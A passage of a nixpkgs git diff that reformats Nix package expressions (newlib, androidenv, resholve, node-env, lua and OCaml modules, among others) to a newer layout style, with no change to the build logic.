-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      "-f"
-      "win32/Makefile.gcc"
-    ]
-    ++ lib.optionals shared [
-      # Note that as of writing (zlib 1.2.11), this flag only has an effect
-      # for Windows as it is specific to `win32/Makefile.gcc`.
-      "SHARED_MODE=1"
-    ];
+  makeFlags = [
+    "PREFIX=${stdenv.cc.targetPrefix}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    "-f"
+    "win32/Makefile.gcc"
+  ]
+  ++ lib.optionals shared [
+    # Note that as of writing (zlib 1.2.11), this flag only has an effect
+    # for Windows as it is specific to `win32/Makefile.gcc`.
+    "SHARED_MODE=1"
+  ];
 
   passthru.tests = {
     pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
diff --git a/pkgs/development/lisp-modules/packages.nix b/pkgs/development/lisp-modules/packages.nix
index 9acb067effaf..841da5006a4f 100644
--- a/pkgs/development/lisp-modules/packages.nix
+++ b/pkgs/development/lisp-modules/packages.nix
@@ -266,12 +266,10 @@ let
             #+sb-core-compression t
             :toplevel #'clfswm:main)
         '';
-        installPhase =
-          o.installPhase
-          + ''
-            mkdir -p $out/bin
-            mv $out/clfswm $out/bin
-          '';
+        installPhase = o.installPhase + ''
+          mkdir -p $out/bin
+          mv $out/clfswm $out/bin
+        '';
       });
 
       magicl = build-with-compile-into-pwd {
diff --git a/pkgs/development/lua-modules/generic/default.nix b/pkgs/development/lua-modules/generic/default.nix
index 0a3275e49bdc..2d49ffe32083 100644
--- a/pkgs/development/lua-modules/generic/default.nix
+++ b/pkgs/development/lua-modules/generic/default.nix
@@ -21,7 +21,8 @@ toLuaModule (
         "LUA_INC=-I${lua}/include"
         "LUA_LIBDIR=$(out)/lib/lua/${lua.luaversion}"
         "LUA_VERSION=${lua.luaversion}"
-      ] ++ makeFlags;
+      ]
+      ++ makeFlags;
 
       propagatedBuildInputs = propagatedBuildInputs ++ [
         lua # propagate it for its setup-hook
diff --git a/pkgs/development/lua-modules/luv/default.nix b/pkgs/development/lua-modules/luv/default.nix
index e0390b47a788..92aeebddb11d 100644
--- a/pkgs/development/lua-modules/luv/default.nix
+++ b/pkgs/development/lua-modules/luv/default.nix
@@ -29,17 +29,16 @@ buildLuarocksPackage rec {
     rm -rf deps/lua deps/luajit deps/libuv
   '';
 
-  patches =
-    [
-      # Fails with "Uncaught Error: ./tests/test-dns.lua:164: assertion failed!"
-      # and "./tests/test-tty.lua:19: bad argument #1 to 'is_readable' (Expected
-      # uv_stream userdata)"
-      ./disable-failing-tests.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fails with "Uncaught Error: ./tests/test-udp.lua:261: EHOSTUNREACH"
-      ./disable-failing-darwin-tests.patch
-    ];
+  patches = [
+    # Fails with "Uncaught Error: ./tests/test-dns.lua:164: assertion failed!"
+    # and "./tests/test-tty.lua:19: bad argument #1 to 'is_readable' (Expected
+    # uv_stream userdata)"
+    ./disable-failing-tests.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fails with "Uncaught Error: ./tests/test-udp.lua:261: EHOSTUNREACH"
+    ./disable-failing-darwin-tests.patch
+  ];
 
   buildInputs = [ libuv ];
   nativeBuildInputs = [ cmake ];
diff --git a/pkgs/development/lua-modules/luv/lib.nix b/pkgs/development/lua-modules/luv/lib.nix
index f1be88c0d6d4..e1d0791ffe7c 100644
--- a/pkgs/development/lua-modules/luv/lib.nix
+++ b/pkgs/development/lua-modules/luv/lib.nix
@@ -32,5 +32,6 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [
     cmake
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 }
diff --git a/pkgs/development/misc/msp430/mspdebug.nix b/pkgs/development/misc/msp430/mspdebug.nix
index 94df290fec08..c9ac04f9e7a5 100644
--- a/pkgs/development/misc/msp430/mspdebug.nix
+++ b/pkgs/development/misc/msp430/mspdebug.nix
@@ -30,10 +30,11 @@ stdenv.mkDerivation rec {
   nativeBuildInputs =
     lib.optional stdenv.hostPlatform.isDarwin pkg-config
     ++ lib.optional (enableMspds && stdenv.hostPlatform.isLinux) autoPatchelfHook;
-  buildInputs =
-    [ libusb-compat-0_1 ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin hidapi
-    ++ lib.optional enableReadline readline;
+  buildInputs = [
+    libusb-compat-0_1
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin hidapi
+  ++ lib.optional enableReadline readline;
 
   postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
     # TODO: remove once a new 0.26+ release is made
diff --git a/pkgs/development/misc/msp430/mspds/default.nix b/pkgs/development/misc/msp430/mspds/default.nix
index d1fb0339ce33..fef2e5a64dec 100644
--- a/pkgs/development/misc/msp430/mspds/default.nix
+++ b/pkgs/development/misc/msp430/mspds/default.nix
@@ -39,14 +39,13 @@ stdenv.mkDerivation {
 
   patches = [ ./bsl430.patch ];
 
-  preBuild =
-    ''
-      rm ThirdParty/src/pugixml.cpp
-      rm ThirdParty/include/pugi{config,xml}.hpp
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      makeFlagsArray+=(OUTNAME="-install_name ")
-    '';
+  preBuild = ''
+    rm ThirdParty/src/pugixml.cpp
+    rm ThirdParty/include/pugi{config,xml}.hpp
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    makeFlagsArray+=(OUTNAME="-install_name ")
+  '';
 
   installPhase = ''
     install -Dm0755 -t $out/lib $libName
@@ -58,7 +57,8 @@ stdenv.mkDerivation {
     boost
     hidapi
     pugixml
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libusb1;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libusb1;
 
   meta = with lib; {
     description = "TI MSP430 FET debug driver";
diff --git a/pkgs/development/misc/newlib/default.nix b/pkgs/development/misc/newlib/default.nix
index 50d41e21e31c..b09ffb076886 100644
--- a/pkgs/development/misc/newlib/default.nix
+++ b/pkgs/development/misc/newlib/default.nix
@@ -20,22 +20,21 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-M/EmBeAFSWWZbCXBOCs+RjsK+ReZAB9buMBjDy7IyFI=";
   };
 
-  patches =
-    [
-      (fetchpatch {
-        name = "0001-newlib-Fix-mips-libgloss-support.patch";
-        url = "https://sourceware.org/git/?p=newlib-cygwin.git;a=patch;h=8a8fb570d7c5310a03a34b3dd6f9f8bb35ee9f40";
-        hash = "sha256-hWS/X0jf/ZFXIR39NvNDVhkR8F81k9UWpsqDhZFxO5o=";
-      })
-    ]
-    ++ lib.optionals nanoizeNewlib [
-      # https://bugs.gentoo.org/723756
-      (fetchpatch {
-        name = "newlib-3.3.0-no-nano-cxx.patch";
-        url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/sys-libs/newlib/files/newlib-3.3.0-no-nano-cxx.patch?id=9ee5a1cd6f8da6d084b93b3dbd2e8022a147cfbf";
-        sha256 = "sha256-S3mf7vwrzSMWZIGE+d61UDH+/SK/ao1hTPee1sElgco=";
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      name = "0001-newlib-Fix-mips-libgloss-support.patch";
+      url = "https://sourceware.org/git/?p=newlib-cygwin.git;a=patch;h=8a8fb570d7c5310a03a34b3dd6f9f8bb35ee9f40";
+      hash = "sha256-hWS/X0jf/ZFXIR39NvNDVhkR8F81k9UWpsqDhZFxO5o=";
+    })
+  ]
+  ++ lib.optionals nanoizeNewlib [
+    # https://bugs.gentoo.org/723756
+    (fetchpatch {
+      name = "newlib-3.3.0-no-nano-cxx.patch";
+      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/sys-libs/newlib/files/newlib-3.3.0-no-nano-cxx.patch?id=9ee5a1cd6f8da6d084b93b3dbd2e8022a147cfbf";
+      sha256 = "sha256-S3mf7vwrzSMWZIGE+d61UDH+/SK/ao1hTPee1sElgco=";
+    })
+  ];
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
@@ -43,22 +42,21 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   # newlib expects CC to build for build platform, not host platform
-  preConfigure =
+  preConfigure = ''
+    export CC=cc
+  ''
+  +
+    # newlib tries to disable itself when building for Linux *except*
+    # when native-compiling.  Unfortunately the check for "is cross
+    # compiling" was written when newlib was part of GCC and newlib
+    # was built along with GCC (therefore newlib was built to execute
+    # on the targetPlatform, not the hostPlatform).  Unfortunately
+    # when newlib was extracted from GCC, this "is cross compiling"
+    # logic was not fixed.  So we must disable it.
     ''
-      export CC=cc
-    ''
-    +
-      # newlib tries to disable itself when building for Linux *except*
-      # when native-compiling.  Unfortunately the check for "is cross
-      # compiling" was written when newlib was part of GCC and newlib
-      # was built along with GCC (therefore newlib was built to execute
-      # on the targetPlatform, not the hostPlatform).  Unfortunately
-      # when newlib was extracted from GCC, this "is cross compiling"
-      # logic was not fixed.  So we must disable it.
-      ''
-        substituteInPlace configure --replace 'noconfigdirs target-newlib target-libgloss' 'noconfigdirs'
-        substituteInPlace configure --replace 'cross_only="target-libgloss target-newlib' 'cross_only="'
-      '';
+      substituteInPlace configure --replace 'noconfigdirs target-newlib target-libgloss' 'noconfigdirs'
+      substituteInPlace configure --replace 'cross_only="target-libgloss target-newlib' 'cross_only="'
+    '';
 
   configurePlatforms = [
     "build"
@@ -66,50 +64,49 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   # flags copied from https://community.arm.com/support-forums/f/compilers-and-libraries-forum/53310/gcc-arm-none-eabi-what-were-the-newlib-compilation-options
   # sort alphabetically
-  configureFlags =
-    [
-      "--with-newlib"
+  configureFlags = [
+    "--with-newlib"
 
-      # The newlib configury uses `host` to refer to the platform
-      # which is being used to compile newlib.  Ugh.  It does this
-      # because of its history: newlib used to be distributed with and
-      # built as part of gcc.
-      #
-      # To prevent nixpkgs from going insane, this package presents the
-      # "normal" view to the outside world: the binaries in $out will
-      # execute on `stdenv.hostPlatform`.  We then fool newlib's build
-      # process into doing the right thing.
-      "--host=${stdenv.targetPlatform.config}"
+    # The newlib configury uses `host` to refer to the platform
+    # which is being used to compile newlib.  Ugh.  It does this
+    # because of its history: newlib used to be distributed with and
+    # built as part of gcc.
+    #
+    # To prevent nixpkgs from going insane, this package presents the
+    # "normal" view to the outside world: the binaries in $out will
+    # execute on `stdenv.hostPlatform`.  We then fool newlib's build
+    # process into doing the right thing.
+    "--host=${stdenv.targetPlatform.config}"
 
-    ]
-    ++ (
-      if !nanoizeNewlib then
-        [
-          "--disable-newlib-supplied-syscalls"
-          "--disable-nls"
-          "--enable-newlib-io-c99-formats"
-          "--enable-newlib-io-long-long"
-          "--enable-newlib-reent-check-verify"
-          "--enable-newlib-register-fini"
-          "--enable-newlib-retargetable-locking"
-        ]
-      else
-        [
-          "--disable-newlib-fseek-optimization"
-          "--disable-newlib-fvwrite-in-streamio"
-          "--disable-newlib-supplied-syscalls"
-          "--disable-newlib-unbuf-stream-opt"
-          "--disable-newlib-wide-orient"
-          "--disable-nls"
-          "--enable-lite-exit"
-          "--enable-newlib-global-atexit"
-          "--enable-newlib-nano-formatted-io"
-          "--enable-newlib-nano-malloc"
-          "--enable-newlib-reent-check-verify"
-          "--enable-newlib-reent-small"
-          "--enable-newlib-retargetable-locking"
-        ]
-    );
+  ]
+  ++ (
+    if !nanoizeNewlib then
+      [
+        "--disable-newlib-supplied-syscalls"
+        "--disable-nls"
+        "--enable-newlib-io-c99-formats"
+        "--enable-newlib-io-long-long"
+        "--enable-newlib-reent-check-verify"
+        "--enable-newlib-register-fini"
+        "--enable-newlib-retargetable-locking"
+      ]
+    else
+      [
+        "--disable-newlib-fseek-optimization"
+        "--disable-newlib-fvwrite-in-streamio"
+        "--disable-newlib-supplied-syscalls"
+        "--disable-newlib-unbuf-stream-opt"
+        "--disable-newlib-wide-orient"
+        "--disable-nls"
+        "--enable-lite-exit"
+        "--enable-newlib-global-atexit"
+        "--enable-newlib-nano-formatted-io"
+        "--enable-newlib-nano-malloc"
+        "--enable-newlib-reent-check-verify"
+        "--enable-newlib-reent-small"
+        "--enable-newlib-retargetable-locking"
+      ]
+  );
 
   enableParallelBuilding = true;
   dontDisableStatic = true;
diff --git a/pkgs/development/misc/resholve/resholve-utils.nix b/pkgs/development/misc/resholve/resholve-utils.nix
index f024d04e0c2c..674c378523f9 100644
--- a/pkgs/development/misc/resholve/resholve-utils.nix
+++ b/pkgs/development/misc/resholve/resholve-utils.nix
@@ -182,22 +182,21 @@ rec {
     writeTextFile {
       inherit name text;
       executable = true;
-      checkPhase =
-        ''
-          ${
-            (phraseContextForPWD (
-              phraseInvocation name (
-                partialSolution
-                // {
-                  scripts = [ "${placeholder "out"}" ];
-                }
-              )
-            ))
-          }
-        ''
-        + lib.optionalString (partialSolution.interpreter != "none") ''
-          ${partialSolution.interpreter} -n $out
-        '';
+      checkPhase = ''
+        ${
+          (phraseContextForPWD (
+            phraseInvocation name (
+              partialSolution
+              // {
+                scripts = [ "${placeholder "out"}" ];
+              }
+            )
+          ))
+        }
+      ''
+      + lib.optionalString (partialSolution.interpreter != "none") ''
+        ${partialSolution.interpreter} -n $out
+      '';
     };
   writeScriptBin =
     name: partialSolution: text:
@@ -205,20 +204,19 @@ rec {
       inherit name text;
       executable = true;
       destination = "/bin/${name}";
-      checkPhase =
-        ''
-          ${phraseContextForOut (
-            phraseInvocation name (
-              partialSolution
-              // {
-                scripts = [ "bin/${name}" ];
-              }
-            )
-          )}
-        ''
-        + lib.optionalString (partialSolution.interpreter != "none") ''
-          ${partialSolution.interpreter} -n $out/bin/${name}
-        '';
+      checkPhase = ''
+        ${phraseContextForOut (
+          phraseInvocation name (
+            partialSolution
+            // {
+              scripts = [ "bin/${name}" ];
+            }
+          )
+        )}
+      ''
+      + lib.optionalString (partialSolution.interpreter != "none") ''
+        ${partialSolution.interpreter} -n $out/bin/${name}
+      '';
     };
   mkDerivation =
     {
diff --git a/pkgs/development/misc/resholve/test.nix b/pkgs/development/misc/resholve/test.nix
index a3a7d3a81244..e970e3853498 100644
--- a/pkgs/development/misc/resholve/test.nix
+++ b/pkgs/development/misc/resholve/test.nix
@@ -218,27 +218,26 @@ rec {
     # explicit interpreter for demo suite; maybe some better way...
     INTERP = "${bash}/bin/bash";
 
-    checkPhase =
-      ''
-        patchShebangs .
-        mkdir empty_lore
-        touch empty_lore/{execers,wrappers}
-        export EMPTY_LORE=$PWD/empty_lore
-        printf "\033[33m============================= resholve test suite ===================================\033[0m\n" > test.ansi
-        if ./test.sh &>> test.ansi; then
-          cat test.ansi
-        else
-          cat test.ansi && exit 1
-        fi
-      ''
-      + lib.optionalString runDemo ''
-        printf "\033[33m============================= resholve demo ===================================\033[0m\n" > demo.ansi
-        if ./demo &>> demo.ansi; then
-          cat demo.ansi
-        else
-          cat demo.ansi && exit 1
-        fi
-      '';
+    checkPhase = ''
+      patchShebangs .
+      mkdir empty_lore
+      touch empty_lore/{execers,wrappers}
+      export EMPTY_LORE=$PWD/empty_lore
+      printf "\033[33m============================= resholve test suite ===================================\033[0m\n" > test.ansi
+      if ./test.sh &>> test.ansi; then
+        cat test.ansi
+      else
+        cat test.ansi && exit 1
+      fi
+    ''
+    + lib.optionalString runDemo ''
+      printf "\033[33m============================= resholve demo ===================================\033[0m\n" > demo.ansi
+      if ./demo &>> demo.ansi; then
+        cat demo.ansi
+      else
+        cat demo.ansi && exit 1
+      fi
+    '';
   };
 
   # Caution: ci.nix asserts the equality of both of these w/ diff
@@ -276,22 +275,21 @@ rec {
   loreOverrides =
     resholve.writeScriptBin "verify-overrides"
       {
-        inputs =
-          [
-            coreutils
-            esh
-            getconf
-            libarchive
-            locale
-            mount
-            ncurses
-            procps
-            ps
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux [
-            nixos-install-tools
-            nixos-rebuild
-          ];
+        inputs = [
+          coreutils
+          esh
+          getconf
+          libarchive
+          locale
+          mount
+          ncurses
+          procps
+          ps
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [
+          nixos-install-tools
+          nixos-rebuild
+        ];
         interpreter = "none";
         execer = [
           "cannot:${esh}/bin/esh"
diff --git a/pkgs/development/mobile/androidenv/build-tools.nix b/pkgs/development/mobile/androidenv/build-tools.nix
index 9a38383f4ad1..746e7bcc3fe6 100644
--- a/pkgs/development/mobile/androidenv/build-tools.nix
+++ b/pkgs/development/mobile/androidenv/build-tools.nix
@@ -31,25 +31,24 @@ deployAndroidPackage {
         ncurses5
       ]
     );
-  patchInstructions =
-    ''
-      ${lib.optionalString (os == "linux") ''
-        addAutoPatchelfSearchPath $packageBaseDir/lib
-        if [[ -d $packageBaseDir/lib64 ]]; then
-          addAutoPatchelfSearchPath $packageBaseDir/lib64
-          autoPatchelf --no-recurse $packageBaseDir/lib64
-        fi
-        autoPatchelf --no-recurse $packageBaseDir
-      ''}
+  patchInstructions = ''
+    ${lib.optionalString (os == "linux") ''
+      addAutoPatchelfSearchPath $packageBaseDir/lib
+      if [[ -d $packageBaseDir/lib64 ]]; then
+        addAutoPatchelfSearchPath $packageBaseDir/lib64
+        autoPatchelf --no-recurse $packageBaseDir/lib64
+      fi
+      autoPatchelf --no-recurse $packageBaseDir
+    ''}
 
-      ${lib.optionalString (lib.toInt (lib.versions.major package.revision) < 33) ''
-        wrapProgram $PWD/mainDexClasses \
-          --prefix PATH : ${pkgs.jdk8}/bin
-      ''}
+    ${lib.optionalString (lib.toInt (lib.versions.major package.revision) < 33) ''
+      wrapProgram $PWD/mainDexClasses \
+        --prefix PATH : ${pkgs.jdk8}/bin
+    ''}
 
-      cd $out/libexec/android-sdk
-    ''
-    + postInstall;
+    cd $out/libexec/android-sdk
+  ''
+  + postInstall;
   noAuditTmpdir = true; # The checker script gets confused by the build-tools path that is incorrectly identified as a reference to /build
 
   inherit meta;
diff --git a/pkgs/development/mobile/androidenv/cmdline-tools.nix b/pkgs/development/mobile/androidenv/cmdline-tools.nix
index adb1dcba94bd..3b561c64452b 100644
--- a/pkgs/development/mobile/androidenv/cmdline-tools.nix
+++ b/pkgs/development/mobile/androidenv/cmdline-tools.nix
@@ -17,7 +17,8 @@ deployAndroidPackage {
   inherit package os arch;
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
   patchInstructions = ''
     ${lib.optionalString (os == "linux") ''
diff --git a/pkgs/development/mobile/androidenv/deploy-androidpackages.nix b/pkgs/development/mobile/androidenv/deploy-androidpackages.nix
index 1a4e8b9fb780..21d30bc45e84 100644
--- a/pkgs/development/mobile/androidenv/deploy-androidpackages.nix
+++ b/pkgs/development/mobile/androidenv/deploy-androidpackages.nix
@@ -116,38 +116,37 @@ stdenv.mkDerivation (
       runHook postUnpack
     '';
 
-    installPhase =
-      ''
-        runHook preInstall
-      ''
-      + lib.concatStrings (
-        lib.imap0 (i: package: ''
-          cd $buildDir/extractedzip-${toString i}
+    installPhase = ''
+      runHook preInstall
+    ''
+    + lib.concatStrings (
+      lib.imap0 (i: package: ''
+        cd $buildDir/extractedzip-${toString i}
 
-          # Most Android Zip packages have a root folder, but some don't. We unpack
-          # the zip file in a folder and we try to discover whether it has a single root
-          # folder. If this is the case, we adjust the current working folder.
-          if [ "$(find . -mindepth 1 -maxdepth 1 -type d | wc -l)" -eq 1 ]; then
-              cd "$(find . -mindepth 1 -maxdepth 1 -type d)"
-          fi
-          extractedZip="$PWD"
+        # Most Android Zip packages have a root folder, but some don't. We unpack
+        # the zip file in a folder and we try to discover whether it has a single root
+        # folder. If this is the case, we adjust the current working folder.
+        if [ "$(find . -mindepth 1 -maxdepth 1 -type d | wc -l)" -eq 1 ]; then
+            cd "$(find . -mindepth 1 -maxdepth 1 -type d)"
+        fi
+        extractedZip="$PWD"
 
-          packageBaseDir=$out/libexec/android-sdk/${package.path}
-          mkdir -p $packageBaseDir
-          cd $packageBaseDir
-          cp -a $extractedZip/* .
-          ${patchesInstructions.${package.name}}
+        packageBaseDir=$out/libexec/android-sdk/${package.path}
+        mkdir -p $packageBaseDir
+        cd $packageBaseDir
+        cp -a $extractedZip/* .
+        ${patchesInstructions.${package.name}}
 
-          if [ ! -f $packageBaseDir/package.xml ]; then
-            cat << EOF > $packageBaseDir/package.xml
-          ${mkXmlPackage package}
-          EOF
-          fi
-        '') packages
-      )
-      + ''
-        runHook postInstall
-      '';
+        if [ ! -f $packageBaseDir/package.xml ]; then
+          cat << EOF > $packageBaseDir/package.xml
+        ${mkXmlPackage package}
+        EOF
+        fi
+      '') packages
+    )
+    + ''
+      runHook postInstall
+    '';
 
     # Some executables that have been patched with patchelf may not work any longer after they have been stripped.
     dontStrip = true;
diff --git a/pkgs/development/mobile/androidenv/emulate-app.nix b/pkgs/development/mobile/androidenv/emulate-app.nix
index 2e9b83854a8a..9b52a3ff0940 100644
--- a/pkgs/development/mobile/androidenv/emulate-app.nix
+++ b/pkgs/development/mobile/androidenv/emulate-app.nix
@@ -33,18 +33,17 @@
 }:
 
 let
-  sdkArgs =
-    {
-      includeEmulator = true;
-      includeSystemImages = true;
-    }
-    // sdkExtraArgs
-    // {
-      cmdLineToolsVersion = "8.0";
-      platformVersions = [ platformVersion ];
-      systemImageTypes = [ systemImageType ];
-      abiVersions = [ abiVersion ];
-    };
+  sdkArgs = {
+    includeEmulator = true;
+    includeSystemImages = true;
+  }
+  // sdkExtraArgs
+  // {
+    cmdLineToolsVersion = "8.0";
+    platformVersions = [ platformVersion ];
+    systemImageTypes = [ systemImageType ];
+    abiVersions = [ abiVersion ];
+  };
 
   sdk = (composeAndroidPackages sdkArgs).androidsdk;
 in
diff --git a/pkgs/development/mobile/androidenv/examples/shell.nix b/pkgs/development/mobile/androidenv/examples/shell.nix
index 423753cae366..ff745ec1d20d 100644
--- a/pkgs/development/mobile/androidenv/examples/shell.nix
+++ b/pkgs/development/mobile/androidenv/examples/shell.nix
@@ -83,13 +83,12 @@ let
       };
     */
 
-    includeExtras =
-      [
-        "extras;google;gcm"
-      ]
-      ++ pkgs.lib.optionals includeAuto [
-        "extras;google;auto"
-      ];
+    includeExtras = [
+      "extras;google;gcm"
+    ]
+    ++ pkgs.lib.optionals includeAuto [
+      "extras;google;auto"
+    ];
 
     # Accepting more licenses declaratively:
     extraLicenses = [
diff --git a/pkgs/development/mobile/androidenv/ndk-bundle/default.nix b/pkgs/development/mobile/androidenv/ndk-bundle/default.nix
index ba1d9ea3e81b..e9cd377af2d8 100644
--- a/pkgs/development/mobile/androidenv/ndk-bundle/default.nix
+++ b/pkgs/development/mobile/androidenv/ndk-bundle/default.nix
@@ -35,7 +35,8 @@ deployAndroidPackage rec {
   inherit package os arch;
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
   autoPatchelfIgnoreMissingDeps = [ "*" ];
   buildInputs = lib.optionals (os == "linux") [
     pkgs.zlib
diff --git a/pkgs/development/node-packages/node-env.nix b/pkgs/development/node-packages/node-env.nix
index 4154ce72634c..de1a02ab7f70 100644
--- a/pkgs/development/node-packages/node-env.nix
+++ b/pkgs/development/node-packages/node-env.nix
@@ -541,15 +541,14 @@ let
     stdenv.mkDerivation (
       {
         name = "${name}${if version == null then "" else "-${version}"}";
-        buildInputs =
-          [
-            tarWrapper
-            python
-            nodejs
-          ]
-          ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
-          ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool
-          ++ buildInputs;
+        buildInputs = [
+          tarWrapper
+          python
+          nodejs
+        ]
+        ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
+        ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool
+        ++ buildInputs;
 
         inherit nodejs;
 
@@ -627,7 +626,8 @@ let
         meta = {
           # default to Node.js' platforms
           platforms = nodejs.meta.platforms;
-        } // meta;
+        }
+        // meta;
       }
       // extraArgs
     );
@@ -663,15 +663,14 @@ let
       {
         name = "node-dependencies-${name}${if version == null then "" else "-${version}"}";
 
-        buildInputs =
-          [
-            tarWrapper
-            python
-            nodejs
-          ]
-          ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
-          ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool
-          ++ buildInputs;
+        buildInputs = [
+          tarWrapper
+          python
+          nodejs
+        ]
+        ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
+        ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool
+        ++ buildInputs;
 
         inherit dontStrip; # Stripping may fail a build for some package deployments
         inherit dontNpmInstall unpackPhase buildPhase;
@@ -764,13 +763,12 @@ let
       {
         name = "node-shell-${name}${if version == null then "" else "-${version}"}";
 
-        buildInputs =
-          [
-            python
-            nodejs
-          ]
-          ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
-          ++ buildInputs;
+        buildInputs = [
+          python
+          nodejs
+        ]
+        ++ lib.optional (stdenv.hostPlatform.isLinux) pkgs.util-linux
+        ++ buildInputs;
         buildCommand = ''
           mkdir -p $out/bin
           cat > $out/bin/shell <<EOF
diff --git a/pkgs/development/node-packages/overrides.nix b/pkgs/development/node-packages/overrides.nix
index 6609200b9aef..db7858ecc8f8 100644
--- a/pkgs/development/node-packages/overrides.nix
+++ b/pkgs/development/node-packages/overrides.nix
@@ -56,14 +56,13 @@ final: prev: {
   };
 
   joplin = prev.joplin.override (oldAttrs: {
-    nativeBuildInputs =
-      [
-        pkgs.pkg-config
-        (pkgs.python3.withPackages (ps: [ ps.setuptools ]))
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        pkgs.xcbuild
-      ];
+    nativeBuildInputs = [
+      pkgs.pkg-config
+      (pkgs.python3.withPackages (ps: [ ps.setuptools ]))
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      pkgs.xcbuild
+    ];
     buildInputs = with pkgs; [
       # required by sharp
       # https://sharp.pixelplumbing.com/install
@@ -90,7 +89,8 @@ final: prev: {
           sha512 = "mNcltoe1R8o7STTegSOHdnJNN7s5EUvhoS7ShnTHDyOSd+8H+UdWODq6qSv67PjC8Zc5JRT8+oLAMCr0SIXw7g==";
         };
       }
-    ] ++ oldAttrs.dependencies;
+    ]
+    ++ oldAttrs.dependencies;
 
     meta = oldAttrs.meta // {
       # ModuleNotFoundError: No module named 'distutils'
diff --git a/pkgs/development/ocaml-modules/camlzip/default.nix b/pkgs/development/ocaml-modules/camlzip/default.nix
index 5c7158673043..f8e59ab0e9af 100644
--- a/pkgs/development/ocaml-modules/camlzip/default.nix
+++ b/pkgs/development/ocaml-modules/camlzip/default.nix
@@ -63,13 +63,11 @@ stdenv.mkDerivation {
 
   inherit (param) patches;
 
-  postPatch =
-    param.postPatchInit
-    + ''
-      substituteInPlace Makefile \
-        --subst-var-by ZLIB_LIBDIR "${zlib.out}/lib" \
-        --subst-var-by ZLIB_INCLUDE "${zlib.dev}/include"
-    '';
+  postPatch = param.postPatchInit + ''
+    substituteInPlace Makefile \
+      --subst-var-by ZLIB_LIBDIR "${zlib.out}/lib" \
+      --subst-var-by ZLIB_INCLUDE "${zlib.dev}/include"
+  '';
 
   buildFlags = [
     "all"
diff --git a/pkgs/development/ocaml-modules/eio/main.nix b/pkgs/development/ocaml-modules/eio/main.nix
index a0affd2ea5e9..86d79e5d6cda 100644
--- a/pkgs/development/ocaml-modules/eio/main.nix
+++ b/pkgs/development/ocaml-modules/eio/main.nix
@@ -20,11 +20,10 @@ buildDunePackage {
 
   dontStrip = true;
 
-  propagatedBuildInputs =
-    [
-      eio_posix
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      eio_linux
-    ];
+  propagatedBuildInputs = [
+    eio_posix
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    eio_linux
+  ];
 }
diff --git a/pkgs/development/ocaml-modules/elina/default.nix b/pkgs/development/ocaml-modules/elina/default.nix
index 3a5f5a8e368b..e6e939746ff9 100644
--- a/pkgs/development/ocaml-modules/elina/default.nix
+++ b/pkgs/development/ocaml-modules/elina/default.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation rec {
     "--use-opam"
     "--apron-prefix"
     apron
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "--absolute-dylibs";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--absolute-dylibs";
 
   createFindlibDestdir = true;
 
diff --git a/pkgs/development/ocaml-modules/elpi/default.nix b/pkgs/development/ocaml-modules/elpi/default.nix
index 6fbbde6b9368..c256f5c6c6cf 100644
--- a/pkgs/development/ocaml-modules/elpi/default.nix
+++ b/pkgs/development/ocaml-modules/elpi/default.nix
@@ -69,32 +69,33 @@ buildDunePackage {
 
   minimalOCamlVersion = "4.07";
 
-  nativeBuildInputs =
-    [ perl ]
-    ++ [ (if lib.versionAtLeast version "1.15" || version == "dev" then menhir else camlp5) ]
-    ++ lib.optional (lib.versionAtLeast version "1.16" || version == "dev") atdgen;
+  nativeBuildInputs = [
+    perl
+  ]
+  ++ [ (if lib.versionAtLeast version "1.15" || version == "dev" then menhir else camlp5) ]
+  ++ lib.optional (lib.versionAtLeast version "1.16" || version == "dev") atdgen;
   buildInputs = [
     ncurses
-  ] ++ lib.optional (lib.versionAtLeast version "1.16" || version == "dev") atdgen-runtime;
+  ]
